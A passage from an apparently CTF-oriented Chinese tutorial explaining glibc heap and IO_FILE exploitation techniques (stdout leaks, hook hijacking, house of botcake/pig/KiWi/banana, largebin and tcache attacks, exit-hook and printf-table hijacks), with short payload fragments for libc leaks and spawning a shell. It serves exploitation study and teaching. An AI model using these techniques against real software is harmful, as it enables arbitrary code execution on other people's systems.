的vtable
中的_xsputn
,也就是_IO_new_file_xsputn
函数,源码如下:
(1)任意写
可以看到,在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr
,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr
,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr
控制,向_IO_write_ptr
拷贝count
长度的数据),因此可通过这一点来实现任意地址写的功能。
利用方式:以全缓冲模式为例,只需将_IO_write_ptr
指向write_start
,_IO_write_end
指向write_end
即可。
这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200
,此处flag & _IO_LINE_BUF
为真,则表示flag
中包含了_IO_LINE_BUF
标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)
开启),若要构造flag
包含_IO_LINE_BUF
标识,则flag |= 0x200
即可。
(2)任意读
先讨论_IO_new_file_xsputn
源代码中if (to_do + must_flush > 0)
有哪些情况会执行该分支中的内容:
(a) 首先要明确的是to_do
一定是非负数,因此若must_flush
为1
的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n
换行符的时候就会需要刷新输出缓冲区,即将must_flush
设为1
,故当输出内容中有\n
的时候就会执行该分支的内容,如用puts
函数输出就一定会执行。
(b) 若to_do
大于0
,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if
分支中的内容。
而该if
分支中主要调用了_IO_OVERFLOW()
来刷新输出缓冲区,而在此过程中会调用_IO_do_write()
输出我们想要的数据。
相关源码:
综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
;
(2) 设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
;
(3) 设置_fileno
为1
;
(4) 设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址;
(5) 设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。
此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。
一般来说,经常利用puts
函数加上述stdout
任意读的方式泄露libc
。_flag
的构造需满足的条件:
因此,例如在libc-2.27
下,构造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58'
,泄露出的第一个地址即为_IO_file_jumps
的地址。
此外,_flags
也可再加一些其他无关紧要的部分,如设置为0xfbad1887
,0xfbad1880
,0xfbad3887
等等。
fastbin_ptr
在libc-2.23
指向main_arena+8
的地址,在libc-2.27
及以上指向main_arena+0x10
的地址,从此地址开始,存放了各大小的fast bin
的fd
指针,指向各单链表中首个堆块的地址,因此可将global_max_fast
改为很大的数,再释放大堆块进入fast bin
,那么就可以将main_arena
后的某处覆盖成该堆块地址。
因此,我们需要通过目标地址与fast bin
数组的偏移计算出所需free
的堆块的size
,计算方式如下:
容易想到,可以通过此方式进行IO_FILE attack
:覆写_IO_list_all
,使其指向伪造的结构体,或者伪造._chain
指向的结构体来实现任意读写,或者伪造vtable
(libc-2.23
)。
也可以利用此方式,修改__free_hook
函数(__malloc_hook
与__realloc_hook
在main_arena
的上方),从而getshell
,此时需要有UAF
漏洞修改__free_hook
中的fake fast bin
的fd
为system_addr
或one_gadget
(这里不涉及该fd
指针指向的堆块的取出,因此不需要伪造size
),然后申请出这个fake fast bin
,于是__free_hook
这里的“伪链表头”将会指向被移出该单链表的fake fast bin
的fd
字段中的地址,即使得__free_hook
中的内容被修改成了system_addr
或one_gadget
。
需要注意的是,若是用此方法改stdout
来泄露相关信息,也可以不改_flags
,如假设有漏洞可以修改一个堆块的size
,那么可以构造_IO_read_end
等于_IO_write_base
来进行绕过,具体方式是:改了global_max_fast
后,先释放一个需要泄露其中内容的fake fast bin
到_IO_read_end
(此时,正常走IO
指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base
的判断,就不会执行_IO_SYSWRITE
),然后修改该fake fast bin
的size
,再将其释放到_IO_write_base
处即可。
利用此方法,也可以对libc
进行泄露,毕竟在算index
的时候,libc_base
是被抵消掉的,或者说,是可以泄露在fastbinsY
之后的数据。泄露的思想就是:当free
时,会把此堆块置入fastbin
链表的头部,所以在free
后,此堆块的fd
位置的内容,就是free
前此SIZE
的链表头部指针,通过越界就可以读取LIBC
上某个位置的内容。
1.free_hook
劫持free_hook
,一般都是申请到free_hook_addr
的写入权,改写为one_gadget
或system
等,有时候one_gadget
无法使用,就需要free(X)
,其中这里X
地址中的值为/bin/sh
,故我们可以申请到free_hook_adddr - 8
处的写入权,写入b'/bin/sh\x00' + p64(system_addr)
,然后free(free_hook_adddr - 8)
即可,而一般都由chunk[t] = malloc(...)
申请到堆块的读写权,故直接free(chunk[t])
即可。
2.malloc_hook配合realloc_hook调整栈帧打one_gadget
malloc_hook
与realloc_hook
地址相邻,realloc_hook
在malloc_hook_addr - 8
处,而__libc_realloc
中有如下汇编代码:
故我们可以申请到malloc_hook_addr - 8
的写入权,写入p64(one_gadget) + p64(realloc_addr+offest)
,即在realloc_hook
写入one_gadget
,在malloc_hook
写入realloc_addr + offest
,此处通过控制offest
来减少push
个数,进而达到调整栈帧的目的,offest
可取[0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
,relloc_addr = libc_base + libc.sym['__libc_realloc']
,然后通过malloc–>malloc_hook–>realloc–>realloc_hook–>one_gadget
的流程getshell
。
此外,fast bin attack
的时候,需构造0x70
的fast bin
的fd
指针指向malloc_hook-0x23
处,此时fake size
域为0x7f
,会被当作0x70
。
3.setcontext + 53
setcontext
中的汇编代码如下:
可以看到从setcontext+53
处的mov rsp, [rdi+0A0h]
这行代码往后,修改了很多寄存器的值,其中,修改rsp
的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx
的值后接着有个push
操作将rcx
压栈,然后汇编指令按照顺序会执行到最后的retn
操作,而retn
的地址就是压入栈的rcx
值,因此修改rcx
就获得了控制程序流程的能力。
利用pwntools
带的SigreturnFrame()
,可以方便的构造出setcontext
执行时对应的调用区域,实现对寄存器的控制,从而实现函数调用或orw
调用,具体如下:
我们将bytes(frame)
布置到某个堆块K
中,然后将free_hook
改为setcontext+53
,再通过free(K)
即可触发(此时rdi
就是K
,指向堆块的user data
),在我们构造的Frame
中,frame.rip
就是rcx
的值,即执行完setcontext
后执行的地址,而 frame.rsp
就是最终retn
后rsp
的值(最后再跳转到此处rsp
),因此可类似于SROP
做到连续控制。
4.劫持exit hook
在exit
中调用了__run_exit_handlers
,而在__run_exit_handlers
中又调用了_dl_fini
,_dl_fini
源码如下:
发现了其中调用的两个关键函数:
再看__rtld_lock_lock_recursive()
的定义:
查看宏GL
的定义:
由此可知,_rtld_global
是一个结构体,_dl_rtld_lock_recursive
和_dl_rtld_unlock_recursive
实际上是该结构体中的函数指针,故我们将其中之一修改为one_gadget
即可getshell
。
需要注意的是,_rtld_global
结构位于ld.so
中 ( ld.sym['_rtld_global']
),而libc_base
与ld_base
又有固定的差值,如在2.27
中有libc_base+0x3f1000=ld_base
,此时dl_rtld_lock_recursive
于_rtld_global
的偏移是0xf00
,dl_rtld_unlock_recursive
于_rtld_global
的偏移是0xf08
,最终修改dl_rtld_lock_recursive
还是dl_rtld_unlock_recursive
为one_gadget
视情况而定,需要满足one_gadget
的条件才行。
此外,由源码可知,若是有两次修改机会,可以将dl_rtld_lock_recursive
或dl_rtld_unlock_recursive
函数指针改成system
的地址,然后在_rtld_global.dl_load_lock.mutex
(相对于_rtld_global
偏移0x908
)的地址中写入/bin/sh\x00
,即可getshell
。
在libc
中,还有一个更为方便的exit hook
,就是__libc_atexit
这个函数指针,从exit.c
的源码中可以看到:
而在我们调用__run_exit_handlers
这个函数时,参数run_list_atexit
传进去的值就为真:
因此,可以直接改__libc_atexit
的值为one_gadget
,在执行exit
函数(从main
函数退出时也调用了exit()
)时,就能直接getshell
了。
这个__libc_atexit
有一个极大的优点,就是它在libc
而非ld
中,随远程环境的改变,不会有变化。缺点就是,它是无参调用的hook
,传不了/bin/sh
的参数,one_gadget
不一定都能打通。
5.scanf读入大量数据申请large bin,触发malloc_consolidate
当通过scanf
,gets
等走IO
指针的读入函数读入大量数据时,若默认缓冲区(0x400
)不够存放这些数据,则会申请一个large bin
存放这些数据,例如读入0x666
个字节的数据,则会申请0x810
大小的large bin
,并且在读入结束后,将申请的large bin
进行free
,其过程中由于申请了large bin
,因此会触发malloc_consolidate
。
在上面一个板块中,对部分新版本glibc
的改进稍有提及,在此板块中将深入展开对新版本glibc
下利用的讲解。
在2.28
以后,tcache
的bk
位置写入了key
,在2.34
之前,这个key
值为tcache struct
的首地址加上0x10
,在2.34
以后,就是一个随机值了,当一个chunk
被free
的时候,会检测它的key
是否为这个值,也就是检测其是否已经在tcache bin
中,这就避免了tcache
的double free
。
然而,当有UAF
漏洞的时候,可以用house of botcake
来绕过key
的检测,达到任意写的目的。需要注意的是,在2.30
版本后,从tcache
取出堆块的时候,会先判断对应的count
是否为0
,如果已经减为0
,即使该tcache bin
中仍有被伪造的地址,也无法被取出。
流程如下:
在2.27
的版本,对在unlink
的时候,增加了一个检测:
也就是说,会检查“即将脱链”的chunk
的size
域是否与他下一个chunk
的prev_size
域相等。
这个检测很好绕过,只需要将“即将脱链”的堆块在之前就真的free
一次,让它进入list
,也就会在其next chunk
的prev_size
域留下它的size
了。
在2.29
版本以后,在unlink
时,增加了判断触发unlink
的chunk
的prev_size
域和即将脱链的chunk
的size
域是否一致的检测:
有了这个检测就会比较麻烦了,不过仍然是有以下两种新方法绕过该检测:
1.思路一:利用 largebin 的残留指针 nextsize
首先,当一个堆块进入某个原本是空的largebin list
,他的fd_nextsize
和bk_nextsize
内都是他自身的堆地址。
我们现在从这个largebin + 0x10
的位置开始伪造一个fake chunk
,也就是将原本的fd_nextsize
和bk_nextsize
当成fake chunk
的fd
和bk
,而我们最终也是要将触发unlink
的堆块和这个fake chunk
合并,造成堆叠。
如此,我们很好控制fake chunk
的size
等于触发堆块的prev_size
了,不过在此情况下又要绕过unlink
的一个经典检测了,即检测每个即将脱链的堆块的fd
的bk
和bk
的fd
是否都指向其本身:
这个检测在之前都是不需要绕过的,因为对于之前的方法来说,双向链表显然都是合法完整的,但对于我们想重新伪造fd
和bk
,却成了一个大麻烦。
对于大部分off by null
的题目,是不太好直接泄露libc_base
和heap_base
的,因此我们想重新伪造fd
和bk
并绕过双向链表完整性检查,对于原先残留的fd_nextsize
地址,可以对其进行部分写入最后两位,更改为我们想要伪造成的堆地址(并进一步通过伪造成的堆地址满足双向链表检查)。不过,这里需要注意的是,我们需要让我们想要伪造成的堆地址与fd_nextsize
中的残留地址只有后两位不同,且进行部分写入后,由于off by null
,会将部分写入的地址后一字节覆盖成\x00
,因此我们需要让我们想要伪造成的堆地址本身就是0x......X0XX
这种形式,然后再爆破倒数第四位,让它为0
即可,有1/16
的爆破成功概率;而对于bk_nextsize
来说,由于其之前的fd_nextsize
不可再被更改了,就无法覆盖到bk_nextsize
了,那么bk_nextsize
就只能是原先的largebin
地址了,而fake chunk
的bk->fd
在此时也就是fake chunk
的prev_size
位,只要在其中填上fake chunk
的地址(largebin + 0x10
)即可绕过检查。
下面来看一下具体的实现操作:
(1)首先进行一些堆块的申请,使得所需的largebin
的地址为0x....000
(2)伪造出fake chunk
并伪造fd
,绕过fake chunk->fd->bk = fake chunk
的检测
同样,我们将fake chunk
的fd
改成了某个临近堆块A
,但仍然需要将chunk A
的bk
改成fake chunk
的地址,所以仍需要部分写入的方式更改,这就要求我们需要使chunk A
的bk
本身就是一个堆地址,且与fake chunk
的地址只有最后两位不同(临近)。
我们可以通过将chunk A
和chunk B
(fake chunk
的临近堆块)放入small bin
或unsorted bin
等中,使得其链表为chunk B <-> chunk A
,这样即可满足要求。
由于要是fake chunk
的临近堆块,只能申请小堆块,所以这里使其放入small bin
比较好实现,因为小堆块进入fastbin
中后,只要触发malloc_consolidate()
,若它们之间无法合并,即可让它们直接进入small bin
。
(3)伪造bk
,绕过fake chunk->bk->fd = fake chunk
的检测
按照之前的分析,需要在fake chunk
的prev_size
位填入fake chunk
的地址,仍然需要部分写入的方法,也就要求fake chunk
的prev_size
位原先就是一个fake chunk
的临近堆地址。
我们只需要将原先largebin
的头部被分割出来的一个小堆块和另外一个fake chunk
的临近堆块均放入fastbin
中,这样largebin
头部小堆块的fd
,也就是fake chunk
的prev_size
位就会被填入一个fake chunk
的临近堆地址,再申请出来进行部分写入,使其为fake chunk
的地址即可。
需要注意的是,不能将堆块放入tcache
,这样虽然prev_size
域仍然是这个临近堆地址,但是我们之前伪造好的fake chunk
的size
域就会被tcache
的key
所覆盖。
(4)伪造触发堆块的prev_size
,利用off by null
修改size
的prev_inuse
标志位为0
,free
触发堆块,进行unlink
合并,造成堆叠。
2. 思路二:利用 unsorted bin 和 large bin 链机制
该方法与上面一个方法的主体思路类似(都是通过部分写入来篡改地址),实现方式有所不同,稍微简单一些。
堆块布局如下:
(1)我们可以通过unsorted bin
链,直接让某堆块的fd
和bk
都分别指向一个堆地址(free
堆块1/2和利用堆块),就不需要通过部分写入来伪造fd
和bk
了,不过这样就不好直接伪造利用堆块的size
域了,可以通过辅助堆块和利用堆块合并后再分配,来使得原先利用堆块的size
在重分配堆块1的mem
区,就可以修改到原先利用堆块的size
了,但这样的话,由于堆块的重分配,原先的利用堆块就不合法了,也就意味着需要绕过双向链表检测。以下就将利用堆块叫作fake chunk
了。
(2)绕过fake chunk->fd->bk = fake chunk
的检测
我们在之前的状态下,先删除fake chunk->fd
堆块,再删除重分配堆块2(辅助堆块),我们就可以在fake chunk->fd
堆块的bk
位置写入一个重分配堆块 2(辅助堆块)的地址。
再将这个fake chunk->fd
堆块申请回来,由于重分配堆块2(辅助堆块)就是fake chunk
的临近堆块,所以利用部分写入的方式,就可以修改其bk
为fake chunk
的地址了(这里仍会涉及到off by null
导致后一个字节被覆写为\x00
,依然需要爆破,下面代码的示例题目是将输入的最后一字节改成\x00
,因此不需要爆破),最后再申请回重分配堆块2(辅助堆块)。
(3)绕过fake chunk->bk->fd = fake chunk
的检测
若是我们仍采用上述的思路,先删除重分配堆块2(辅助堆块),再删除fake chunk->bk
堆块,的确会在fake chunk->bk
的fd
写入重分配堆块2(辅助堆块)的地址,但是在申请回fake chunk->bk
堆块时,会先遍历到重分配堆块2(辅助堆块),然后将其放入largebin
,与unsorted bin
链断开了,这样等申请到fake chunk->bk
的时候,其fd
就不再是重分配堆块2(辅助堆块)的地址了。
不难想到,如果先删除重分配堆块2(辅助堆块),再删除fake chunk->bk
堆块,然后就将它们全放入largebin
,从largebin
中申请出堆块,就不会涉及上面的问题了。
我们申请出fake chunk->bk
,直接部分写入其fd
,指向fake chunk
即可。
(4)伪造触发堆块的prev_size
,利用off by null
修改size
的prev_inuse
标志位为0
,free
触发堆块,进行unlink
合并,造成堆叠。
从glibc 2.28
开始,_int_malloc
中增加了对unsorted bin
的bk
的校验,使得unsorted bin attack
变得不可行:
因此,对于高版本的glibc
来说,通常用largebin attack
或tcache stashing unlink attack
来达到任意写大数值,而其中largebin attack
更好,因为它写入的是堆地址,堆的内容常常是可控的。
然而,从glibc 2.30
开始,常规large bin attack
方法也被封堵,加入了判断bk_nextsize->fd_nextsize
是否指向本身:
还加入了检查:
但这都是在我们原先利用的分支中加入的判断,也就是当加入该largebin list
的chunk
的size
大于该largebin list
中原先chunk
的size
时。
而在加入堆块的size
小于largebin list
中原有堆块的size
时的分支中,仍然是可以利用的,不过相对于旧版可以任意写两个地址,到这里只能任意写一个地址了:
利用流程如下:
在largebin list
中放入一个堆块A
,并利用UAF
等漏洞修改其内容为p64(0)*3 + p64(target_addr - 0x20)
,也就是在bk_nextsize
写入target_addr - 0x20
释放一个大小略小于堆块A
的堆块B
进入到同一个largebin list
,此时就会在target_addr
中写入堆块B
的地址
原理解释:源码中的bck
就是largebin list
的头部,而bck->fd
就指向了其中size
最小的堆块,将源码中1
带入2
中得:fwd->fd->bk_nextsize->fd_nextsize = victim
,又在之前有fwd = bck
,fwd->fd
就是largebin list
头部的fd
,而此largebin list
在加入堆块B
之前只有堆块A
,因此fwd->fd->bk_nextsize->fd_nextsize = victim
就是堆块A
的bk_nextsize->fd_nextsize
也就是target_addr
处写入了victim
也就是堆块B
的地址。
若是仅在任意地址写入大数值,那上述过程就已经实现了,但很多时候需要修复largbin list
,以免在之后申请堆块时出现错误,或者有时候需要再将largebin list
中的堆块申请出来,对其内容进行控制。在上述过程结束后,堆块B
的bk_nextsize
有源码中的1
处,也改成了target_addr - 0x20
,我们将堆块B
取出后,堆块B
的bk_nextsize->fd_nextsize
也就是target_addr
就写入了堆块A
的地址,此时再用同样的UAF
等漏洞对堆块A
的bk/fd
和bk/fd_nextsize
进行修复,即可成功取出堆块A
,并可以对堆块A
的内容进行控制,也就是对target_addr
所指向的地址进行控制,就可以劫持IO FILE
或是TLS
结构,link_map
等等。
关于Tcache Struct
的劫持与溢出包含了很多方法,且基本不存在高低版本有区别的问题,但是在高版本libc
的题目中运用更广泛,因此就放到这里来讲了。
首先简单介绍一下Tcache Struct
:
在2.30
版本以下:
在2.30
版本及以上:
可以看到,Tcache Struct
的有一个counts
数组和entries
链表,它本身就是一个堆,在所有堆块的最上面,而在不同版本,它的counts
数组大小不同,2.30
以下的类型只占一个字节,而2.30
及以上的类型就占两个字节了,又TCACHE_MAX_BINS = 64
,因此2.30
以下Tcache Struct
的大小为0x250
,而2.30
及以上为0x290
。Tcache Struct
的counts
数组中每个元素代表其对应大小的tcache bin
目前在tcache
中的个数,而entries
数组中的地址指向其对应大小的tcache bin
所在的单链表中头部的tcache bin
。
在2.30
以下,在从tcache struct
取出内容的时候不会检查counts
的大小,从而我们只需要修改我们想要申请的size
对应的链表头部位置,即可申请到。而在2.30
及以上版本的libc
,则需要考虑对应counts
的大小要大于0
,才能取出。
对于劫持Tcache Struct
,有两种方式,一种就是直接劫持Tcache Struct
的堆块,对其中的数据进行伪造,另外一种就是劫持TLS
结构中的tcache pointer
,其指向Tcache Struct
,将其改写,即可改为指向一个伪造的fake Tcache Struct
。
对于Tcache Struct
的溢出,先往mp_.tcache_bins
写入一个大数值,这样就类似于改global_max_fast
一样,我们之后free
的堆块,都会被放入tcache
中,而Tcache Struct
中的某些counts
和entries
数组都会溢出到我们可控的堆区域中,但是利用此方法,需要对堆块的布局格外留心,防止出现一些不合法的情况从而报错。
在2.32
版本,对tcache
和fastbin
都新增了指针保护:
比如在tcache_put()
中加入tcache bin
时,就有e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])
,对其next
指针进行加密,而在tcache_get()
中取出tcache bin
时,就有tcache->entries[tc_idx] = REVEAL_PTR (e->next)
将解密后的结果放入entries
数组更新。在fastbin
中也有类似的p->fd = PROTECT_PTR(&p->fd, old)
操作。PROTECT_PTR
操作就是先对pos
(fd/next
域的堆块地址)右移了12
位(去除了末三位信息),再将与原先的指针(在此版本之前fd/next
储存的内容)异或得到的结果存入fd/next
。由异或的自反性,解密只需PROTECT_PTR (&ptr, ptr)
即可。
值得一提的是,当fastbin/tcache
中只有一个chunk
的时候,它的fd/next
为零,而零异或pos>>12
就是pos>>12
,因此可以通过这样的堆块泄露pos>>12
(密钥)的值,当然还可以通过泄露heap_base
来得到pos>>12
(密钥)的值,每在0x1000
范围内,堆块的密钥都一样。
main_arena
其实也可以通过劫持TLS
结构直接劫持,但是通过劫持TLS
结构来劫持main_arena
的话,需要伪造一个近乎完整的main_arena
,这并不是很容易,堆块大小也要足够大才行,而若是我们能劫持到原先已有的main_arena
,对其中部分数据进行修改,这样就简单很多了,我们可利用fastbin attack
进行劫持实现。
我们知道,在fastbin attack
中常常需要伪造堆块的size
,因为当堆块从fastbin
中取出时,会检查其size
是否匹配。在libc 2.27
以上的main_arena
中,有一项have_fastchunks
,当其中fastbin
中有堆块时,这一项将会置为1
,而这一项又在main_arena
中所有重要信息的上方,又have_fastchunks
在main_arena + 8
的位置,若是have_fastchunks = 1
,则可以通过fastbin attack
,将其中一个chunk
的fd
改为main_arena - 1
的地址,即可伪造出一个size
为0x100
的堆块,但是0x100
这个大小已经超过了默认的global_max_fast
的大小0x80
,因此需要先将global_max_fast
改为一个大数值,才能够劫持到main_arena
。
先看到_IO_str_overflow
函数:
在源码中,old_blen = _IO_blen (fp) = (fp)->_IO_buf_end - (fp)->_IO_buf_base
,malloc
的大小为2 * old_blen + 100
。
可以看到注释的1,2,3
处连续调用了malloc
,memcpy
,free
,在2.34
以前,有__free_hook
的存在,所以不难想到:先在某个bin list
里伪造一个与__free_hook
有关的堆块地址,然后用这里的malloc
申请出来,再通过memcpy
往__free_hook
里面任意写system
,最后在调用free
之前先调用了__free_hook
,此时rdi
是old_buf = fp->_IO_buf_base
,也是我们伪造IO_FILE
时可控的,直接将其改为/bin/sh
即可getshell
。
比如说,先利用tcache stashing unlink attack
或者劫持TLS
中的tcache pointer
等方式,在0xa0
的tcache bin
中伪造一个__free_hook - 0x10
在链首,然后伪造IO_FILE
如下:
最后通过exit
触发,即可getshell
,当然也可以配合house of KiWi
等方式通过调用某个IO
的fake vtable
,来调用_IO_str_overflow
,伪造的IO_FILE
需要按情况微调。
在2.34
以后,__free_hook
,__malloc_hook
,__realloc_hook
这些函数指针都被删除了,house of pig
的利用看似也就无法再使用了,但是我们注意到上面源码的注释4
处,调用了memset
,在libc
中也是有got
表的,并且可写,而这里的memset
在IDA
中可以看到是j_memset_ifunc()
,这种都是通过got
表调用的,因此我们可以把原先house of pig
的改写__free_hook
转为改写memset
在libc
中的got
表。
先在0xa0
的tcache
链表头伪造一个memset_got_addr
的地址,并伪造IO_FILE
如下:
这里是通过house of KiWi
调用的,并且开了沙盒。需要注意的是,在memset
之前仍然有free(IO->buf_base)
,因此需要伪造一下memset_got_addr
的fake chunk
的堆块头,以及其next chunk
的堆块头。此外,在__vfxprintf
中有_IO_flockfile(fp)
,因此_lock
也需要修复(任意可写地址即可)。至于各寄存器在_IO_str_overflow
中最后的情况,最后调试一下就能得到,magic gadget
也不难找。
主要是提供了一种在程序中触发IO
的思路,恰好又能同时控制rdx
,很方便地orw
。
可以看到,在malloc.c
中,assert
断言失败,最终都会调用__malloc_assert
,而其中有一个fflush (stderr)
的函数调用,会走stderr
的IO_FILE
,最终会调用到其vtable
中_IO_file_jumps
中的__IO_file_sync
,此时rdx
为IO_helper_jumps
。
开了沙盒需要orw
的题目,经常使用setcontext
控制rsp
,进而跳转过去调用ROP
链,而在2.29
版本以上setcontext
中的参数也由rdi
变为rdx
了,起始位置也从setcontext+53
变为了setcontext+61
(2.29
版本有些特殊,仍然是setcontext+53
起始,但是控制的寄存器已经变成了rdx
),rdx
显然没有rdi
好控制,然而house of KiWi
恰好能帮助我们控制rdx
。
下面的问题就在于如何触发assert
的断言出错,通常有以下几种方式:
1.在_int_malloc
中判断到top chunk
的大小太小,无法再进行分配时,会走到sysmalloc
中的断言:
因此,我们可以将top chunk
的size
改小,并置prev_inuse
为0
,当top chunk
不足分配时,就会触发这个assert
了。
2.在_int_malloc
中,当堆块从unsorted bin
转入largebin list
的时候,也会有一些断言:assert (chunk_main_arena (bck->bk))
,assert (chunk_main_arena (fwd))
等。
再看相关的宏定义:#define NON_MAIN_ARENA 0x4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
对mchunk_size
的解释:mchunk_size
成员显示的大小并不等价于该chunk
在内存中的大小,而是当前chunk
的大小加上NON_MAIN_ARENA
、IS_MAPPED
、PREV_INUSE
位的值。
因此,assert (chunk_main_arena(...))
就是检测堆块是否来自于main_arena
,也可以通过伪造即将放入largebin list
的largebin's size
来触发assert
。
对于house of KiWi
利用,需要存在一个任意写,通过修改_IO_file_jumps + 0x60
的_IO_file_sync
指针为setcontext+61
,并修改IO_helper_jumps + 0xA0 and 0xA8
分别为ROP
链的位置和ret
指令的gadget
地址即可。
值得一提的是,在house of KiWi
调用链中,在调用到__IO_file_sync
之前,在__vfprintf_internal
中也会调用IO_FILE
虚表中的函数,会调用[vtable] + 0x38
的函数,即_IO_new_file_xsputn
,因此我们可以通过改IO_FILE
中vtable
的值,根据偏移来调用其他虚表中的任意函数。
对于第一种,svcudp_reply+26
处有个gadget
可以实现:
对于第二种,先来看通过gadget
进行rdi
与rdx
间的转换(最常用):
再看通过改__malloc_hook
并劫持_IO_FILE
的方法:
为什么说一般劫持的都是stdin
的IO_FILE
呢?因为__malloc_hook
与stdin
距离是比较近的,可以在劫持IO_FILE
的同时,就把__malloc_hook
改掉。
可按如下方式构造payload
:
至于第三种,house of KiWi
的方式,在上面已经单独介绍过了,就不再多说了。
关于第四点提到的其他IO
劫持,在之后都会提及,比如house of banana
,house of emma
等等。
在用printf
进行输出时,会根据其格式化字符串,调用不同的输出函数来以不同格式输出结果。但是如果调用呢?自然是需要格式化字符与其输出函数一一对应的索引表的。glibc
中的__register_printf_function
函数是__register_printf_specifier
函数的封装:
__register_printf_specifier
函数就是为格式化字符spec
的格式化输出注册函数:
可以看到,如果格式化字符spec
超过0xff
或小于0
,即ascii
码不存在,则返回-1
,如果__printf_arginfo_table
为空就通过calloc
分配两张索引表,并将地址存到__printf_arginfo_table
以及__printf_function_table
中。两个表空间均为0x100
,可以为0-0xff
的每个字符注册一个函数指针,且第一个表后面紧接着第二个表。由此,我们有很明显的思路,可以劫持__printf_arginfo_table
和__printf_function_table
为我们伪造的堆块(多用largebin attack
),进而伪造里面格式化字符所对应的函数指针(要么为0
,要么有效)。
在vfprintf
函数中,如果检测到__printf_function_table
不为空,则对于格式化字符不走默认的输出函数,而是调用printf_positional
函数,进而可以调用到表中的函数指针:
__printf_function_table
中类型为printf_function
的函数指针,在printf->vfprintf->printf_positional
被调用:
另一个在__printf_arginfo_table
中的类型为printf_arginfo_size_function
的函数指针,在printf->vfprintf->printf_positional->__parse_one_specmb
中被调用,其功能是根据格式化字符做解析,返回值为格式化字符消耗的参数个数:
可以看到,是先调用了__printf_arginfo_table
中的函数指针,再调用了__printf_function_table
中的函数指针。
假设现在__printf_function_table
和__printf_arginfo_table
分别被填上了chunk 4
与chunk 8
的堆块地址(chunk header
)。
方式一:
由于有堆块头,所以格式化字符的索引要减2
,这样写就满足了__printf_function_table
不为空,进入了printf_positional
函数,并调用了__printf_arginfo_table
中的函数指针。
方式二:
这样写同样也是可以的,首先仍然满足__printf_function_table
不为空,进入了printf_positional
函数,会先进入__parse_one_specmb
,此时__printf_arginfo_table[spec->info.spec] == NULL
成立,那么根据逻辑短路,就不会再执行下面的语句了,最后又回到printf_positional
函数,调用了__printf_function_table
中的函数指针。
其实就是劫持了link_map
,需要exit
函数触发,调用链:exit()->_dl_fini->(fini_t)array[i]
,可以很方便地getshell
或者在高版本下orw
。
先看Elf64_Dyn
结构体定义(注意里面有一个共用体):
再看_dl_fini.c
中的这一段:
这里面涉及的结构体比较多,成员参数也比较复杂。可以看到源码中l
指针的类型为link_map
结构体。link_map
结构体的定义很长,节选如下:
可以看到,link_map
和堆块链表一样,是通过l_next
与l_prev
指针连接起来的,那么肯定就有一个类似于main_arena
或者说是tcache struct
的地方,存放着这个链表头部指针的信息,这个地方就是_rtld_global
结构体:
这里的_ns_loaded
就是link_map
链表头部指针的地址,_ns_nloaded = 4
说明这个link_map
链表有四个link_map
结构体,它们通过l_next
与l_prev
指针连接在一起。
我们再用gdb
打出link_map
的头部结构体的内容:
很自然,在house of banana
的利用中,我们需要劫持_rtld_global
的首地址,也就是_ns_loaded
,将它通过largebin attack
等方式改写为我们可控的堆地址,然后再对link_map
进行伪造(当然,对于有些题目,有办法直接劫持到原先的link_map
并修改,那更好)。
伪造link_map
的时候,首先就需要注意几个地方:将l_next
需要还原,这样之后的link_map
就不需要我们再重新伪造了;将l_real
设置为自己伪造的link_map
堆块地址,这样才能绕过检查。
之后,我们再回到_dl_fini.c
中的源码,看看如何利用house of banana
进行攻击。
首先,再最外层判断中,需要使l->l_init_called
为真,因此需要对l_init_called
进行一个伪造。
然后,需要使l->l_info[DT_FINI_ARRAY] != NULL
,才能调用函数指针,这里有#define DT_FINI_ARRAY 26
,也就是使得l->l_info[26]
不为空。
再之后就是array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
,这里需要伪造link_map
中的l_addr
(这里在已经伪造的link_map
的堆块头,需要通过其上一个堆块溢出或是合并后重分配进行修改),以及l->l_info[26]->d_un.d_ptr
,也就是l->l_info[27]
,使其相加的结果为函数指针的基地址。
调用函数指针的次数i
由i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))
控制,其中#define DT_FINI_ARRAYSZ 28
,sizeof (ElfW(Addr)) = 8
,因此i = l->l_info[29] / 8
。
这里每次调用的函数指针都为上一个的地址减8
,直到最后调用函数指针的基地址array
,而每一次调用函数指针,其rdx
均为上一次调用的函数指针的地址,由此我们可以轻松地通过setcontext + 61
布置SROP
,跳转执行ROP
链。
构造代码如下:
这个利用也是通过exit
触发的,和house of banana
实现的效果差不多,利用流程比house of banana
简单,但是主要是用于getshell
,在开了沙盒后,orw
并没有house of banana
方便。
首先来看dtor_list
结构体的定义:
可以看到,tls_dtor_list
就是dtor_list
的结构体指针,里面存放着一个dtor_list
结构体的地址。
再看到__call_tls_dtors
函数(对tls_dtor_list
进行遍历):
由此可知,dtor_list
结构体中的func
成员,其实是一个函数指针,而其中的obj
成员就是其调用时的参数。
很显然,若我们可以劫持tls_dtor_list
,在其中写入我们伪造的堆地址,使其不为空(绕过while (tls_dtor_list)
),就能执行到func (cur->obj)
